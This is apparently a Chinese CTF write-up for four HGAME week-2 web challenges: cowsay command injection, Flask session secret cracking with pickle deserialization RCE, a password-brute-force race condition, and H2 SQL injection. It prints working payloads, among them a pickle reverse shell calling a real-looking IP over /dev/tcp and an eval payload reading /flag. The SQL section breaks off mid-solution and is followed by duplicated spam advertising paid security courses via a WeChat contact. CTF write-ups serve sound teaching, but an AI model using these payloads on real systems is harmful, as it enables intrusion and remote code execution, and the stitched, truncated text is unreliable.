---------【WEEK-2】---------
What the cow say?
题目描述:the cow want to tell you something
注意title,Python的flask漏洞可多呢
版本310
先测一下SSTI
正常情况下
SSTI测试
变量渲染测试,被waf了,说明方向对了
单单过滤flag
fuzz了一下,也不像是SSTI
乱试下,出现了个离谱的。啊喂,这这这,乐,一猜一个不吱声。
弄个源码看看(帮各位处理过了):
string app.py
from flask import Flask, render_template, request, redirect, url_for
import subprocess
app = Flask(name)
@app.route(‘/’, methods=[‘GET’, ‘POST’])
def index():
result = None
if request.method ==‘POST’:
user_input =request.form[‘user_input’]
result =run_cowsay(user_input)
return
render_template(‘index.html’,result=result) @ app.route(‘/post’,methods=[‘POST’])
def post():
if request.method == ‘POST’:
user_input =request.form[‘user_input’]
result =run_cowsay(user_input)
return
render_template(‘index.html’,result=result)
def run_cowsay(text):
try:
if(waf(text)):
cmd_output =subprocess.check_output('cowsay ’ +text, text=True,stderr=subprocess.STDOUT, shell=True)
return cmd_output.strip()
else:
cmd_output =subprocess.check_output(‘cowsay Waf!’,
text=True, stderr=subprocess.STDOUT,
shell=True)
return cmd_output.strip()
except subprocess.CalledProcessError as e:
return run_cowsay(“ERROR!”)
def waf(string):
blacklist = [‘echo’,‘cat’, ‘tee’, ‘;’, ‘|’, ‘&’, ‘<’,‘>’, ‘\’, ‘flag’]
for black in blacklist:
if (black in string):
return False
return True
if name == ‘__main__’: app.run(“0.0.0.0”, port=80)
flag位置:/flag_is_here/flag_c0w54y
hgame{C0wsay_be_c4re_aB0ut_ComMand_Injecti0n}
myflask
题目描述:善用搜索引擎,容器中的 Python 版本为 3.11
直接给了源码:
import pickle
import base64
from flask import Flask, session, request, send_file
from datetime import datetime
from pytz import timezone
currentDateAndTime = datetime.now(timezone(‘Asia/Shanghai’))
currentTime = currentDateAndTime.strftime(“%H%M%S”)
app = Flask(name)
Tips: Try to crack this first ↓
app.config[‘SECRET_KEY’] = currentTime
print(currentTime)
@app.route(‘/’)
def index():
session[‘username’] = ‘guest’
return send_file(‘app.py’)
@app.route(‘/flag’, methods=[‘GET’, ‘POST’])
def flag():
if not session:
return ‘There is no session available in your client 😦’
if request.method == ‘GET’:
return ‘You are {} now’.format(session[‘username’])
For POST requests from admin
if session[‘username’] == ‘admin’:
pickle_data=base64.b64decode(request.form.get(‘pickle_data’))
Tips: Here try to trigger RCE
userdata=pickle.loads(pickle_data)
return userdata
else:
return ‘Access Denied’
if name==‘__main__’:
app.run(debug=True, host=“0.0.0.0”)
两个步骤。1、破解session;2、pickle实现RCE
session密钥是当前时间,在根路由刷新,/flag
路由刷新网页不改变session。
我当前时间戳(密钥)是234221。
我们小范围爆破即可。230000
->234221
当前session:
eyJ1c2VybmFtZSI6Imd1ZXN0In0.ZcJSFQ.1hGqXUp2ShF_fZMMfz2htjO7Kz4
脚本解密看看结构
#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode
def decryption(payload):
payload, sig = payload.rsplit(b’.‘, 1)
payload, timestamp = payload.rsplit(b’.', 1)
decompress = False
if payload.startswith(b’.'):
payload = payload[1:]
decompress = True
try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of ’
‘an exception’)
if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before ’
‘decoding the payload’)
return session_json_serializer.loads(payload)
if name == ‘__main__’:
print(decryption(“eyJ1c2VybmFtZSI6Imd1ZXN0In0.ZcJSFQ.1hGqXUp2ShF_fZMMfz2htjO7Kz4”.encode())) #输入session
非常的朴实无华
爆破密钥脚本:
import itertools
import flask_unsign
from flask_unsign.helpers import wordlist
import requests as r
import time
import re
import sys
path = “wordlist.txt”
print("Generating wordlist… ")
with open(path,“w”) as f:
#permutations with repetition
[f.write(‘23’+“”.join(x)+‘’+“\n”) for x in itertools.product(‘0123456789’, repeat=4)] #加上前缀
#url = “http://47.115.201.35:8000/index”
#cookie_tamper = r.head(url).cookies.get_dict()[‘session’]
cookie_tamper=‘eyJ1c2VybmFtZSI6Imd1ZXN0In0.ZcJSFQ.1hGqXUp2ShF_fZMMfz2htjO7Kz4’
print("Got cookie: " + cookie_tamper)
print(“Cracker Started…”)
obj = flask_unsign.Cracker(value=cookie_tamper)
before = time.time()
with wordlist(path, parse_lines=False) as iterator:
obj.crack(iterator)
secret = “”
if obj.secret:
secret =obj.secret.decode()
print(f"Found SECRET_KET {secret} in {time.time()-before} seconds")
signer = flask_unsign.sign({“time”:time.time(),“authorized”:True},secret=secret)
密钥233629
之后flask_unsign
工具伪造session即可。
flask-unsign --sign --cookie “{‘username’: ‘admin’}” --secret ‘233629’
伪造成功,开始第二步。
注意,pickle,版本要一致,版本是311。
脚本:
import pickle
import os
import base64
class aaa():
def __reduce__(self):
return(os.system,(‘bash -c “bash -i >& /dev/tcp/120.46.41.173/9023 0>&1”’,))
a= aaa()
payload=pickle.dumps(a)
payload=base64.b64encode(payload)
print(payload)
寄了,我就知道没这么简单。
报错看不太出来什么。我之前生成pickle那个引用了os包,可能环境没有,换个脚本。
import pickle
import base64
class A(object):
def __reduce__(self):
return (eval, (“__import__(‘os’).popen(‘tac /flag’).read()”,))
a = A()
a = pickle.dumps(a)
print(base64.b64encode(a))
果然如此。payload:
POST:
pickle_data=gASVRgAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIwqX19pbXBvcnRfXygnb3MnKS5wb3BlbigndGFjIC9mbGFnJykucmVhZCgplIWUUpQu
Select More Courses
题目描述:ma5hr00m wants to take more courses, but he may be racing against time. Can you help him?
hint:
可参考的弱密码字典:https://github.com/TheKingOfDuck/fuzzDicts/blob/master/passwordDict/top1000.txt
开题,首先要登录,注意系统提示。
密码直接拿hint给的密码本爆破。密码是qwert123
点击扩容:
提示和时间赛跑
还有一个是选课界面,只需要选一个。
猜测这里要同时选课+申请。预期应该是双线程脚本,我直接双开爆破了。
选上了。
search4member
考点总结:SQL注入(堆叠)+h2database RCE漏洞
题目描述:Vidar-Team have so much members,so 1ue write an api to search…
hint:
出题人失误;忘写connection.close();导致多次payload可使服务dos;请本地打通再尝试远程环境;带来不便请见谅
有附件给了源码。是java的SQL。导入IDEA看看。
package org.vidar.controller;
import org.noear.solon.annotation.Controller;
import org.noear.solon.annotation.Inject;
import org.noear.solon.annotation.Mapping;
import org.noear.solon.annotation.Param;
import org.noear.solon.core.handle.ModelAndView;
import org.vidar.config.DbManager;
import javax.sql.DataSource;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
import java.util.ArrayList;
import java.util.List;
@Controller
public class SearchController {
@Inject
private DbManager dbManager;
@Mapping(“/”)
public ModelAndView search(@Param(defaultValue = “web”) String keyword) throws SQLException {
List results = new ArrayList<>();
if (keyword != null & !keyword.equals(“”)) {
String sql = “SELECT * FROM member WHERE intro LIKE '%” + keyword + “%';”;
DataSource dataSource = dbManager.getDataSource();
Statement statement = dataSource.getConnection().createStatement();
ResultSet resultSet = statement.executeQuery(sql);
while (resultSet.next()) {
results.add(resultSet.getString(“id”) + " : "
- resultSet.getString(“intro”) + " : "
- resultSet.getString(“blog”));
}
resultSet.close();
statement.close();
}
ModelAndView model = new ModelAndView(“search.ftl”);
model.put(“results”, results);
return model;
}
}
数据库结构如下:
DROP TABLE IF EXISTS member;
CREATE TABLE member
(
id VARCHAR(30) NOT NULL UNIQUE COMMENT ‘id’,
intro VARCHAR(255) NOT NULL COMMENT ‘intro’,
blog VARCHAR(255) NOT NULL COMMENT ‘blog’
);
INSERT INTO member (id, intro, blog)
VALUES (【xxx】);
测试,可以sql注入。payload:
自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。
深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!
因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点,真正体系化!
由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新
如果你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)
本人从事网路安全工作12年,曾在2个大厂工作过,安全服务、售后服务、售前、攻防比赛、安全讲师、销售经理等职位都做过,对这个行业了解比较全面。
最近遍览了各种网络安全类的文章,内容参差不齐,其中不伐有大佬倾力教学,也有各种不良机构浑水摸鱼,在收到几条私信,发现大家对一套完整的系统的网络安全从学习路线到学习资料,甚至是工具有着不小的需求。
最后,我将这部分内容融会贯通成了一套282G的网络安全资料包,所有类目条理清晰,知识点层层递进,需要的小伙伴可以点击下方小卡片领取哦!下面就开始进入正题,如何从一个萌新一步一步进入网络安全行业。
学习路线图
其中最为瞩目也是最为基础的就是网络安全学习路线图,这里我给大家分享一份打磨了3个月,已经更新到4.0版本的网络安全学习路线图。
相比起繁琐的文字,还是生动的视频教程更加适合零基础的同学们学习,这里也是整理了一份与上述学习路线一一对应的网络安全视频教程。
网络安全工具箱
当然,当你入门之后,仅仅是视频教程已经不能满足你的需求了,你肯定需要学习各种工具的使用以及大量的实战项目,这里也分享一份我自己整理的网络安全入门工具以及使用教程和实战。
项目实战
最后就是项目实战,这里带来的是SRC资料&HW资料,毕竟实战是检验真理的唯一标准嘛~
面试题
归根结底,我们的最终目的都是为了就业,所以这份结合了多位朋友的亲身经验打磨的面试题合集你绝对不能错过!
一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
dnimg.cn/img_convert/1ddfaf7dc5879b1120e31fafa1ad4dc7.jpeg)
网络安全工具箱
当然,当你入门之后,仅仅是视频教程已经不能满足你的需求了,你肯定需要学习各种工具的使用以及大量的实战项目,这里也分享一份我自己整理的网络安全入门工具以及使用教程和实战。
项目实战
最后就是项目实战,这里带来的是SRC资料&HW资料,毕竟实战是检验真理的唯一标准嘛~
面试题
归根结底,我们的最终目的都是为了就业,所以这份结合了多位朋友的亲身经验打磨的面试题合集你绝对不能错过!
一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
[外链图片转存中…(img-t0Kd4qLt-1712663012602)]